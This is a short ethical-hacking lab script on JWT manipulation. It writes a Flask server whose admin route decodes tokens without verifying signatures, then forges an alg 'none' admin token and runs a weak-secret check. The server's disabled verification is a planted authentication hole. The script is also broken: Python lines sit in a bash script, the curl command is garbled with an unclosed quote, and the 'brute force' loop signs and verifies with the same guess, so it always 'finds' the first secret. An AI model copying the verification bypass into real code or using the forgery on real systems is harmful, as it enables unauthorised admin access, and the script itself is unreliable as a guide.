EH-16: JWT Manipulation - None Attack & Weak Secret

cd ~ && mkdir -p eth-l16 && cd eth-l16
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
import jwt, base64
app = Flask(__name__)
@app.route('/admin')
def admin():
    t = request.headers.get('Authorization','').replace('Bearer ','')
    try:
        p = jwt.decode(t, options={"verify_signature": False})
        if p.get('role') == 'admin':
            return jsonify({"flag":"FLAG{JWT_None_Attack}"})
    except: pass
    return jsonify({"error":"forbidden"}),403
app.run(port=9014)
PYEOF
python3 server.py &
sleep 1

# None attack
h = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=').decode()
p = base64.urlsafe_b64encode(b'{"user":"hacker","role":"admin"}').rstrip(b'=').decode()
tok = f"{h}.{p}."
echo "=== None Attack ==*"
curl -s -H "Authorization: Bearer *** http://localhost:9014/admin
echo ""

# Weak secret brute force
echo "=== Weak Secret ==*"
python3 -c "
import jwt
for s in ['secret','admin','123456','test']:
    try:
        t = jwt.encode({'role':'admin'}, s, algorithm='HS256')
        jwt.decode(t, s, algorithms=['HS256'])
        print(f'  ✅ Secret ditemukan: {s}')
        break
    except: pass
"
kill %1 2>/dev/null